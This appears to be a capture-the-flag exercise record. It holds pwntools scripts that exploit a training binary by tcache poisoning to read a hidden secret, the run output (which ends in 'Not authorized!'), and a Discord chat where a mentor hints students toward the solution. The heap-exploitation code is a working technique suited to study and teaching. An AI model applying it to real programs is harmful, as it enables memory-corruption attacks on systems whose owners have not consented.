print(p.recvuntil(b"quit):").decode())
p.sendline(b"malloc")
p.sendline(b"2")
p.sendline(b"128")
print(p.recvuntil(b"quit):").decode())
p.sendline(b"malloc")
p.sendline(b"3")
p.sendline(b"128")
print(p.recvuntil(b"quit):").decode())
p.sendline(b"puts")
p.sendline(b"3")
leak_text = p.recvuntil(b"Data: ").decode()
secret = p.recvline().strip().decode()
print(f"{leak_text}{secret}")
p.sendline(b"send_flag")
p.sendline(secret.encode())
print(p.recvuntil(b"}").decode())
from pwn import *
p = process("/challenge/seeking-smuggled-secrets-easy", level='error')
# Get secret address
p.recvuntil(b"secret stored at ")
secret_addr = int(p.recvuntil(b".").strip(b".").decode(), 16)
print(f"[*] Secret at: {hex(secret_addr)}")
# Allocate two chunks
p.sendline(b"malloc")
p.sendline(b"0")
p.sendline(b"128")
p.recvuntil(b"quit):")
p.sendline(b"malloc")
p.sendline(b"1")
p.sendline(b"128")
p.recvuntil(b"quit):")
# Free both chunks
p.sendline(b"free")
p.sendline(b"1")
p.recvuntil(b"quit):")
p.sendline(b"free")
p.sendline(b"0")
p.recvuntil(b"quit):")
# Poison tcache with secret address
p.sendline(b"scanf")
p.sendline(b"0")
p.sendline(p64(secret_addr))
p.recvuntil(b"quit):")
# Get chunk 0 back
p.sendline(b"malloc")
p.sendline(b"2")
p.sendline(b"128")
p.recvuntil(b"quit):")
# This malloc reads the secret!
p.sendline(b"malloc")
p.sendline(b"3")
p.sendline(b"128")
p.recvuntil(b"quit):")
# Free chunk 2 to examine the tcache state
p.sendline(b"free")
p.sendline(b"2")
p.recvuntil(b"quit):")
# Read from chunk 2 - the first 8 bytes are the secret!
p.sendline(b"puts")
p.sendline(b"2")
p.recvuntil(b"Data: ")
first_half = p.recv(8)
print(f"[*] First 8 bytes: {first_half} ({first_half.hex()})")
# Poison again to point to second half
p.sendline(b"scanf")
p.sendline(b"2")
p.sendline(p64(secret_addr + 8))
p.recvuntil(b"quit):")
# Allocate to consume chunk 2
p.sendline(b"malloc")
p.sendline(b"4")
p.sendline(b"128")
p.recvuntil(b"quit):")
# Allocate at secret_addr + 8
p.sendline(b"malloc")
p.sendline(b"5")
p.sendline(b"128")
p.recvuntil(b"quit):")
# Free chunk 4 and read it
p.sendline(b"free")
p.sendline(b"4")
p.recvuntil(b"quit):")
p.sendline(b"puts")
p.sendline(b"4")
p.recvuntil(b"Data: ")
second_half = p.recv(8)
print(f"[*] Second 8 bytes: {second_half} ({second_half.hex()})")
# Combine both halves
secret = first_half + second_half
print(f"[*] Complete secret: {secret}")
# Submit the flag
p.sendline(b"send_flag")
p.sendline(secret)
result = p.recvall(timeout=2).decode()
print(result)
hacker@dynamic-allocator-misuse~seeking-smuggled-secrets-easy:~$ python ~/script.py
[*] Secret at: 0x429360
[*] First 8 bytes: b'lbaaifox' (6c62616169666f78)
[*] Second 8 bytes: b'h\x93B\n+===' (6893420a2b3d3d3d)
[*] Complete secret: b'lbaaifoxh\x93B\n+==='
=================+========================+==============+============================+============================+
| TCACHE BIN #7 | SIZE: 121 - 136 | COUNT: 1 | HEAD: 0x3f4c12c0 | KEY: 0x3f4c1010 |
+====================+========================+==============+============================+============================+
| ADDRESS | PREV_SIZE (-0x10) | SIZE (-0x08) | next (+0x00) | key (+0x08) |
+---------------------+---------------------+------------------------------+---------------------+---------------------+
| 0x3f4c12c0 | 0 | 0x91 (P) | 0x429368 | 0x3f4c1010 |
+----------------------------------------------------------------------------------------------------------------------+
[*] Function (malloc/free/puts/scanf/send_flag/quit):
Secret:
Not authorized!
+====================+========================+==============+============================+============================+
| TCACHE BIN #7 | SIZE: 121 - 136 | COUNT: 1 | HEAD: 0x3f4c12c0 | KEY: 0x3f4c1010 |
+====================+========================+==============+============================+============================+
| ADDRESS | PREV_SIZE (-0x10) | SIZE (-0x08) | next (+0x00) | key (+0x08) |
+---------------------+---------------------+------------------------------+---------------------+---------------------+
| 0x3f4c12c0 | 0 | 0x91 (P) | 0x429368 | 0x3f4c1010 |
+----------------------------------------------------------------------------------------------------------------------+
[*] Function (malloc/free/puts/scanf/send_flag/quit):
Unrecognized choice!
### Goodbye!
0xStrawHat
Role icon, White Belt — 22/10/2025, 03:07
This one got me I really can’t figure it out is it about overwriting the ptr array?
Sammy
:ninja: — 22/10/2025, 03:29
overwriting the ptr array is overkill
what happens when you try and malloc the secret addr?
0xStrawHat
Role icon, White Belt — 22/10/2025, 03:29
The check fires and i fail to allocate
0xStrawHat
Role icon, White Belt — 22/10/2025, 03:30
Yub it is💀
Sammy
:ninja: — 22/10/2025, 03:32
i dont think you fail to allocate
does the malloc go through?
0xStrawHat
Role icon, White Belt — 22/10/2025, 03:32
Aha it allocates fine but after that ptr been assigned to zero
So I don’t know how to access it again
Sammy
:ninja: — 22/10/2025, 03:34
do you need to access it again?
why do you care about the secret addr? what do you want from it?
0xStrawHat
Role icon, White Belt — 22/10/2025, 03:36
The data inside
The secret itself
I thought about that for almost 3 hours and didn’t get anything
Sammy
:ninja: — 22/10/2025, 03:37
correct. i would say examine the tcache state before and after you try and allocate the secret addr
0xStrawHat
Role icon, White Belt — 22/10/2025, 03:38
Okay i will check again
0xStrawHat
Role icon, White Belt — 22/10/2025, 04:01
pwned
thanks man I was overcomplicating things I don't know why
2stinkysocksRole icon, Orange Belt — 13/10/2025, 08:25
I am having trouble on smuggled secrets, idk how much I can really ask here without revealing some parts of it but I am currently struggling on getting a stack leak. I can go into more detail if necessary, but does anyone have any pointers?
Sammy
:ninja: — 13/10/2025, 08:27
a stack leak?
you're talking about seeking smuggled secrets?
2stinkysocksRole icon, Orange Belt — 13/10/2025, 08:27
yeah, it's the one where you can't write over the secret so I'm trying to write into the array storing the pointers
yes
glueless
Role icon, Blue Belt — 13/10/2025, 08:27
ahaha pointers
Sammy
:ninja: — 13/10/2025, 08:27
I see. It can be done
2stinkysocksRole icon, Orange Belt — 13/10/2025, 08:28
it feels overcomplicated for what it is, idk if I'm going the wrong direction
glueless
Role icon, Blue Belt — 13/10/2025, 08:28
it's kinda overkill that early but smart to have figured out already
Sammy
:ninja: — 13/10/2025, 08:28
but that will require startegies that employ heap concepts beyond the tcache
Sammy
:ninja: — 13/10/2025, 08:28
its not a wrong direction. Just a very long one
2stinkysocksRole icon, Orange Belt — 13/10/2025, 08:28
yeah that's what i was running into, I didn't want to go down that rabbit hole cause i feel like there has to be an easier way
and the checkpoint is in 4 hrs and i can figure that part out later
Sammy
:ninja: — 13/10/2025, 08:29
well
what can you do?
and what cant you do?
2stinkysocksRole icon, Orange Belt — 13/10/2025, 08:32
so i know I can't write below 0x430000, and the secret is at 0x42something, I can't leak the stack array without doing all of the other stuff since it's randomized, I'm thinking there has to be another address in the bss that gets used that I can somehow use in a different way
glueless
Role icon, Blue Belt — 13/10/2025, 08:35
there's multiple ways to approach this. you can either take advantage of what could be inserted or what is erased
Sammy
:ninja: — 13/10/2025, 08:44
I would tell you to focus more on the state of the tcache around the malloc
here is a question
does the malloc go through when you try and malloc the secret?
RenegadePenguin #IFailedCSE466
:ninja: — 13/10/2025, 08:45
2stinkysocksRole icon, Orange Belt — 13/10/2025, 08:46
alright well I think I sort of see what you're getting at, i have something else I need to do right now I'll think it over and maybe itll come to me in a little bit
thank you guys
2stinkysocksRole icon, Orange Belt — 13/10/2025, 10:09
got it